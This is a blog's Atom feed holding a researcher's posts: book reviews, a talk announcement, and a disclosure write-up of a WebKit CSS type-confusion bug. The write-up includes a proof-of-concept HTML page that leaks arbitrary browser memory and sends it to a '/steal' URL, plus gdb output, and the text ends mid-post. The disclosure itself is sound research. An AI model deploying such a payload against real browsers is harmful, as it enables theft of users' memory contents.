<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-34826778</id><updated>2026-03-04T00:44:04.278-08:00</updated><category term="security"/><category term="ELF"/><category term="linux"/><category term="programming"/><category term="reversing"/><category term="reverse engineering"/><category term="exploitation"/><category term="leaf"/><category term="ruby"/><category term="struct software"/><category term="vulnerabilities"/><category term="vulnerability"/><category term="aslr"/><category term="audit"/><category term="binary"/><category term="bitstruct"/><category term="blog"/><category term="c++"/><category term="chrome"/><category term="code"/><category term="code auditing"/><category term="computer science"/><category term="conference"/><category term="debugging"/><category term="em386"/><category term="forensics"/><category term="format string vulnerability"/><category term="fuzzers"/><category term="fuzzing"/><category term="gcc"/><category term="gnome2"/><category term="gtk"/><category term="heap"/><category term="jit"/><category term="jit security"/><category term="kernel"/><category term="libelf"/><category term="memory"/><category term="ngrep"/><category term="open source"/><category term="osx"/><category term="quefuzz"/><category term="rop"/><category term="shellcode"/><category term="snort"/><category term="software"/><category term="static analysis"/><category term="stl"/><category term="virtualization"/><title type='text'>EM_386</title><subtitle type='html'>The Leaf SR blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://em386.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/06213034368649454197</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>49</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-34826778.post-9190918433574561990</id><published>2012-06-26T20:18:00.000-07:00</published><updated>2012-06-26T20:18:29.194-07:00</updated><title type='text'>Changing Blogs</title><content type='html'>After 6 years of blogging here at EM_386 I have decided to stop posting. Fortunately it is only so I can begin writing on the new &lt;a href=&quot;http://blog.leafsr.com/&quot;&gt;LeafSR&lt;/a&gt; blog. I will be porting over a few of the better EM_386 posts as time permits but you can expect new content going forward.&lt;br /&gt;
&lt;br /&gt;
In the past 6 years I&#39;ve only logged 50 posts here but many of them still see dozens of page views a day. That is especially true of posts such as&amp;nbsp;&lt;a href=&quot;http://em386.blogspot.com/2006/10/resolving-elf-relocation-name-symbols.html&quot;&gt;ELF Relocations Names and Symbols&lt;/a&gt;, &lt;a href=&quot;http://em386.blogspot.com/2010/12/webkit-css-type-confusion.html&quot;&gt;WebKit CSS Type Confusion&lt;/a&gt;&amp;nbsp;and &lt;a href=&quot;http://em386.blogspot.com/2010/01/glibc-211-stops-house-of-mind.html&quot;&gt;GlibC 2.11 Stops the House of Mind&lt;/a&gt;. To this day I still get emails from people who read and appreciate the older posts. For that reason I will be leaving all the old content here unmodified. Hopefully someone will find it useful in the future.&lt;br /&gt;
&lt;br /&gt;
Thanks again for reading and see you at the new &lt;a href=&quot;http://blog.leafsr.com/&quot;&gt;blog&lt;/a&gt;!</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/9190918433574561990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/9190918433574561990?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/9190918433574561990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/9190918433574561990'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2012/06/changing-blogs.html' title='Changing Blogs'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-591385935761796205</id><published>2012-04-12T11:00:00.000-07:00</published><updated>2012-04-12T11:00:19.153-07:00</updated><title type='text'>Practical Malware Analysis Review</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://nostarch.com/sites/default/files/imagecache/product_main_page/practical_malware_analysis.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://nostarch.com/sites/default/files/imagecache/product_main_page/practical_malware_analysis.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
I recently finished my review copy of &#39;Practical Malware Analysis&#39;. I enjoyed this book for a few reasons.&amp;nbsp;Each chapter concludes with some simple questions/labs to test your knowledge and give you a chance at some hands on experience related to the content you just read.&lt;br /&gt;
&lt;br /&gt;
Although the title leads you to believe its strictly a malware analysis book theres a lot of good content for any new reverse engineer. This is especially true for the static analysis sections. There are also two chapters in this book that I think help it really stand out among similar books: &#39;Chapter 20: C++ Analysis&#39; and &#39;Chapter 21: 64-bit Malware&#39;. None of the information in these chapters is new research but as a beginner you would have to sort through dozens of research papers to find the same content. They are a great introduction to both topics.&lt;br /&gt;
&lt;br /&gt;
If you analyze malware for a living or are just looking to understand how software reverse engineering works then you won&#39;t regret buying this book.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;(I originally intended to post this over a month ago. Better late than never!)&lt;/i&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/591385935761796205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/591385935761796205?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/591385935761796205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/591385935761796205'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2012/04/practical-malware-analysis-review.html' title='Practical Malware Analysis Review'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-74192321288591428</id><published>2011-11-22T13:08:00.000-08:00</published><updated>2011-12-26T09:03:20.422-08:00</updated><title type='text'>Book reviews and more...</title><content type='html'>&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Recently I was sent review copies of three books from No Starch Press and Addison Wesley. This occasionally happens but I never blog reviews, I&#39;m going to change that...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://nostarch.com/sites/default/files/imagecache/product/bhd.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://nostarch.com/sites/default/files/imagecache/product/bhd.png&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&#39;A Bug Hunters Diary&#39;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;This book by &lt;a href=&quot;http://www.trapkit.de/&quot;&gt;Tobias Klein&lt;/a&gt; was the first book I reviewed. I, like many others in the security community, received a review copy a few weeks back and I just finished it up. I was aware of Tobias&#39; public security advisories and tools long before this book was published, so I was eager to read it from the start. The author takes the reader through a tour of bug hunting from start to finish. This includes detailed source and binary analysis of the bugs he has found, the process for triggering them and finally gaining control of EIP. While gaining EIP is great, in 2011 its just the first step to reliable code execution,&amp;nbsp;but exploitation is not the focus of the book.&amp;nbsp;He does not provide full exploits due to the laws in his home country (he makes this point several times), which is a shame but understandable. Each chapter focuses on different applications ranging from media players (VLC) to kernel drivers and on different operating system platforms including iOS, Solaris, Linux and Windows. This sounds like a ton of information to take in but the book is actually quite small and readable. As usual No Starch does a good job of adding side-bar style information and good illustrations to help the reader understand complex technical concepts. There are also three&amp;nbsp;&lt;em style=&quot;background-color: white; font-style: normal; line-height: 16px;&quot;&gt;appendices with helpful information for bug hunting, debugging tips and exploit mitigations. I even got a mention in appendix C for a &lt;a href=&quot;http://code.google.com/p/em386/downloads/detail?name=Self-Protecting-GOT.html#makechanges&quot;&gt;generic RELRO technique&lt;/a&gt; I published a number of years ago. I definitely recommend this book for anyone who is just starting out in this field and is interested to know exactly what the process of finding software vulnerabilities is like.&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.securecoding.cert.org/confluence/download/attachments/4179/java-cover.jpg?version=1&amp;amp;modificationDate=1316867667000&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://www.securecoding.cert.org/confluence/download/attachments/4179/java-cover.jpg?version=1&amp;amp;modificationDate=1316867667000&quot; /&gt;&lt;/a&gt;&lt;em style=&quot;background-color: white; font-style: normal; line-height: 16px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&#39;The CERT Oracle Secure Coding Standard For Java&#39;&lt;/span&gt;&lt;/b&gt;&lt;/em&gt;&lt;br /&gt;
&lt;em style=&quot;background-color: white; font-style: normal; line-height: 16px;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;I would normally never review a book like this because #1 its a massive technical reference book and #2 I&#39;m not a huge fan of Java. But I saw Robert Seacord was one of the authors and changed my mind. Nothing against the other authors, their names just weren&#39;t known to me. To be honest I did not read the entire thing, its a reference book in my opinion and not meant to be read cover to cover. In fact it reads like the cert.org standards websites and thats because its the &lt;a href=&quot;https://www.securecoding.cert.org/confluence/display/java/The+CERT+Oracle+Secure+Coding+Standard+for+Java&quot;&gt;same text&lt;/a&gt;. All of the CERT standards are well researched and tested, I recommend them to developers all the time and this one is no exception. If you are a Java developer then you should definitely have the standards website bookmarked. If you&#39;re looking for some light weekend reading then this probably isn&#39;t the book for you.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://akamaicovers.oreilly.com/images/9781593273880/cat.gif&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://akamaicovers.oreilly.com/images/9781593273880/cat.gif&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 16px;&quot;&gt;&lt;b&gt;&#39;The Tangled Web&#39;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 16px;&quot;&gt;Last, but certainly not least, &lt;a href=&quot;http://lcamtuf.coredump.cx/&quot;&gt;Michal Zalewski&#39;s&lt;/a&gt; newest book is about web security. &lt;a href=&quot;http://twitter.com/lcamtuf&quot;&gt;@lcamtuf&lt;/a&gt; is a well known person in the security community. His published work includes tools that range from low level debugging to automated XSS detection. If you work in computer security and you dont know who he is then you don&#39;t really work in computer security. My expectations were high for this book for a reason and it doesn&#39;t disappoint. The first chapter contains a good overview of why security is difficult and how the web is no exception. Theres also a good browser history lesson mixed in there. I do a lot of research that involves reading browser source code and reversing particular browser components and I am always surprised by quirks I find in each different implementation. It is these subtle differences that make XSS work on one browser and not another. Theres a huge divide between a &amp;nbsp;web pentester who know how browsers work and one that just pastes JavaScript into every GET parameter. The Tangled Web captures a lot of these&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;line-height: 16px;&quot;&gt;nuances between CSS and JavaScript implementations. Each chapter concludes with a great cheat sheet. Overall, I enjoyed the book. If you test or build web apps then you will too.&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/74192321288591428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/74192321288591428?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/74192321288591428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/74192321288591428'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2011/11/book-reviews-and-more.html' title='Book reviews and more...'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-6052725586583652425</id><published>2011-08-07T18:18:00.000-07:00</published><updated>2011-08-07T18:18:59.957-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="jit security"/><title type='text'>Attacking Client Side JIT Compilers</title><content type='html'>This blog is far from dead!&amp;nbsp;I have been involved in some very interesting research these past few months. Yan Ivnitskiy and I presented at the BlackHat conference in Las Vegas this August. The title of our talk was&amp;nbsp;&lt;i&gt;Attacking Client Side JIT Compilers&lt;/i&gt;. We researched everything from incorrect JIT code emission to reusing predictable JIT code sequences.&lt;br /&gt;
&lt;br /&gt;
We have published our slides and our research paper on the Matasano research website. You can find it all&amp;nbsp;&lt;a href=&quot;https://bitly.com/ojozWi&quot;&gt;here&lt;/a&gt;. Feel free to email either Yan or myself if you have any questions about the content.</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/6052725586583652425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/6052725586583652425?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/6052725586583652425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/6052725586583652425'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2011/08/attacking-client-side-jit-compilers.html' title='Attacking Client Side JIT Compilers'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-8503844712963280165</id><published>2010-12-15T20:16:00.000-08:00</published><updated>2011-07-25T17:40:02.164-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="chrome"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><title type='text'>WebKit CSS Type Confusion</title><content type='html'>Here is an interesting WebKit vulnerability I came across and reported to Google, Apple and the WebKit.org developers. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Description:&lt;/b&gt; WebKit CSS Parser Type Confusion&lt;br /&gt;
&lt;b&gt;Software Affected:&lt;/b&gt; Chrome 7/8, Safari 5.0.3, Epiphany 2.30.2, WebKit-r72146&amp;nbsp;(others untested)&lt;br /&gt;
&lt;b&gt;Severity:&lt;/b&gt; Medium &lt;br /&gt;
&lt;br /&gt;
The severity of the vulnerability was marked Medium by the Chrome developers because the bug can only result in an information leak. I don&#39;t have a problem with that but I have some more thoughts on it at the end of the post. But first the technical details.&lt;br /&gt;
&lt;br /&gt;
The WebKit CSS parser internally stores a &lt;i&gt;CSSParserValueList&lt;/i&gt; which contains a vector of &lt;i&gt;CSSParserValue&lt;/i&gt; structures. These structures are used to hold the contents of parsed CSS attribute  values such as integers, floating point numbers or strings. Here is what a &lt;i&gt;CSSParserValue&lt;/i&gt; looks like.&lt;br /&gt;
&lt;pre&gt;struct CSSParserValue {
&amp;nbsp;&amp;nbsp;&amp;nbsp; int id;
&amp;nbsp;&amp;nbsp;&amp;nbsp; bool isInt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; union {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; double fValue;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int iValue;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSSParserString string;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSSParserFunction* function;
&amp;nbsp;&amp;nbsp;&amp;nbsp; };
&amp;nbsp;&amp;nbsp;&amp;nbsp; enum {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Operator = 0x100000,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Function = 0x100001,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Q_EMS&amp;nbsp;&amp;nbsp;&amp;nbsp; = 0x100002
&amp;nbsp;&amp;nbsp;&amp;nbsp; };
&amp;nbsp;&amp;nbsp;&amp;nbsp; int unit;

&amp;nbsp;&amp;nbsp;&amp;nbsp; PassRefPtr&lt;cssvalue&gt; createCSSValue();
};
&lt;/cssvalue&gt;&lt;/pre&gt;When WebKit has successfully parsed a CSS value it will set the &lt;i&gt;unit&lt;/i&gt; variable to a constant indicating what type it should be interpreted as. So depending on the value of &lt;i&gt;unit&lt;/i&gt; a different member of the union will be used to address the CSS value later in the code. If the value was a floating point or an integer the &lt;i&gt;fValue&lt;/i&gt;&amp;nbsp;or &lt;i&gt;iValue&lt;/i&gt;&amp;nbsp;will store that number. If the value is a string a special &lt;i&gt;CSSParserString &lt;/i&gt;structure is used to copy the string before placing it into the DOM as &lt;i&gt;element.style.src.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
The vulnerability exists in a function responsible for parsing the location of a font face source. So we find ourselves in &lt;i&gt;WebCore::CSSParser::parseFontFaceSrc() &lt;/i&gt;found in CSSParser.cpp of the WebKit source. I have clipped certain parts of the function for brevity.&lt;br /&gt;
&lt;pre&gt;bool CSSParser::parseFontFaceSrc()
{
&amp;nbsp;&amp;nbsp;&amp;nbsp; ...
[3629]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } else if (val-&amp;gt;unit == CSSParserValue::Function) {
[3630]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // There are two allowed functions: local() and format().
[3631]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSSParserValueList* args = val-&amp;gt;function-&amp;gt;args.get();
[3632]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (args &amp;amp;&amp;amp; args-&amp;gt;size() == 1) {
[3633]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (equalIgnoringCase(val-&amp;gt;function-&amp;gt;name, &quot;local(&quot;) &amp;amp;&amp;amp; !expectComma) {
[3634]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; expectComma = true;
[3635]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; allowFormat = false;
[3636]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSSParserValue* a = args-&amp;gt;current();
[3637]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; uriValue.clear();
[3638]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; parsedValue = CSSFontFaceSrcValue::createLocal(a-&amp;gt;string);
&lt;/pre&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;At this point in the code the CSS parser has already extracted the value of the font face source and now the code is trying to determine whether the font value is local or not. If the source of the font is wrapped in a &lt;i&gt;local()&lt;/i&gt; URL then we hit the code above. The problem here is that the &lt;i&gt;CSSParserValue&lt;/i&gt;&#39;s &lt;i&gt;unit&lt;/i&gt; variable is never checked on line 3633.&amp;nbsp;The code assumes the value previously parsed is a string and the&amp;nbsp;&lt;i&gt;CSSParserString&lt;/i&gt;&amp;nbsp;structure within the union has already been initialized by a previous caller.&amp;nbsp;Now on line 3636 a &lt;i&gt;CSSParserValue&lt;/i&gt; pointer, &lt;i&gt;a,&lt;/i&gt; is assigned to the value and on line 3638 the &lt;i&gt;a-&amp;gt;string &lt;/i&gt;operator is called on it. Here is what that structure looks like:&lt;br /&gt;
&lt;pre&gt;struct CSSParserString {
&amp;nbsp;&amp;nbsp;&amp;nbsp; UChar* characters;
&amp;nbsp;&amp;nbsp;&amp;nbsp; int length;

&amp;nbsp;&amp;nbsp;&amp;nbsp; void lower();

&amp;nbsp;&amp;nbsp;&amp;nbsp; operator String() const { return String(characters, length); }
&amp;nbsp;&amp;nbsp;&amp;nbsp; operator AtomicString() const { return AtomicString(characters, length); }
};
&lt;/pre&gt;So when &lt;i&gt;a-&amp;gt;string&lt;/i&gt; is called in line 3638 WebKit&#39;s internal string functions will be called to create a string with a source pointer of&amp;nbsp;&lt;i&gt;a-&amp;gt;string.characters&lt;/i&gt; with a length of &lt;i&gt;a-&amp;gt;string.length&lt;/i&gt; so it can be added to the DOM by &lt;i&gt;CSSParser::addProperty()&lt;/i&gt;. This code assumes the value is a string but this &lt;i&gt;CSSParserValue&lt;/i&gt;&amp;nbsp;may not have been initialized as one. Lets take a second look at the union again in the&amp;nbsp;&lt;i&gt;CSSParserValue structure&lt;/i&gt;:&lt;br /&gt;
&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; union {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; double fValue;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // 64 bits
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int iValue;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // 32 bits
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSSParserString string;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // sizeof(CSSParserString)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CSSParserFunction* function; // 32 bits
&amp;nbsp;&amp;nbsp;&amp;nbsp; };
&lt;/pre&gt;The double &lt;i&gt;fValue&lt;/i&gt; will occupy 64 bits in memory on a 32 bit x86 platform [&lt;a href=&quot;http://en.wikipedia.org/wiki/Double_precision_floating-point_format&quot;&gt;1&lt;/a&gt;]. This means in memory at runtime the first dword of &lt;i&gt;fValue&lt;/i&gt; overlaps with &lt;i&gt;string.characters&lt;/i&gt; and the second with &lt;i&gt;string.length&lt;/i&gt;. If we can supply a specific floating point value as the source location of this font face we can trigger an information leak when WebKit interprets it as a &lt;i&gt;CSSParserString&lt;/i&gt; structure and attempts to make a copy of the string. I should also note that the string creation uses &lt;i&gt;StringImpl::create&lt;/i&gt; which copies the string using &lt;i&gt;memcpy&lt;/i&gt;, so we don&#39;t have to worry about our stolen data containing NULL&#39;s. Exploiting this bug is very easy:&lt;br /&gt;
&lt;pre&gt;      &lt; html&gt;
      &lt; script&gt;
        function read_memory() {
            ele = document.getElementById(&#39;1&#39;);
            document.location = &quot;http://localhost:4567/steal?s=&quot; + encodeURI(ele.style.src);
        }
      &lt; /script&gt;
      &lt; h1 id=1 style=&quot;src: local(0.(your floating point here) );&quot; /&gt;
      &lt; button onClick=&#39;read_memory()&#39;&gt;Click Me&lt;/button&gt;
      &lt; /html&gt;
&lt;/pre&gt;That floating point number will occupy the first 64 bits of the union. The double &lt;i&gt;fValue&lt;/i&gt; when holding this value will look like this in memory &lt;i&gt;0xbf95d38b 0x000001d5&lt;/i&gt;. Which means (&lt;i&gt;a-&amp;gt;string.characters&lt;/i&gt; &lt;i&gt;= 0xbf95d38b&lt;/i&gt;) and (&lt;i&gt;a-&amp;gt;string.length&lt;/i&gt; = &lt;i&gt;0x000001d5&lt;/i&gt;). Through our floating point number we can control the exact address and length of an arbitrary read whose contents will then be added to the DOM as the source of the font face. In short, an attacker can steal as much content as he wants from anywhere in your browsers virtual memory. Here is the &lt;i&gt;CSSParserValue&lt;/i&gt; structure in memory just after the assignment of the &lt;i&gt;CSSParserValue&lt;/i&gt; pointer, &lt;i&gt;a,&lt;/i&gt; when running the exploit.&lt;br /&gt;
&lt;pre&gt;(gdb) print *a
$167 = {id = 0, isInt = false, {fValue = 9.9680408499984197e-312, iValue = -1080700021, 
string = {characters = 0xbf95d38b, length = 469}, function = 0xbf95d38b}, unit = 1}

(gdb) x/8x a
0xb26734f0:&amp;nbsp;&amp;nbsp; &amp;nbsp;0x00000000&amp;nbsp;&amp;nbsp; &amp;nbsp;0x00000100&amp;nbsp;&amp;nbsp; &amp;nbsp;0xbf95d38b&amp;nbsp;&amp;nbsp; &amp;nbsp;0x000001d5
0xb2673500:&amp;nbsp;&amp;nbsp; &amp;nbsp;0x00000001&amp;nbsp;&amp;nbsp; &amp;nbsp;0x00000000&amp;nbsp;&amp;nbsp; &amp;nbsp;0x00000000&amp;nbsp;&amp;nbsp; &amp;nbsp;0x00000000
&lt;/pre&gt;Here is where the stack is mapped in my browser:&lt;br /&gt;
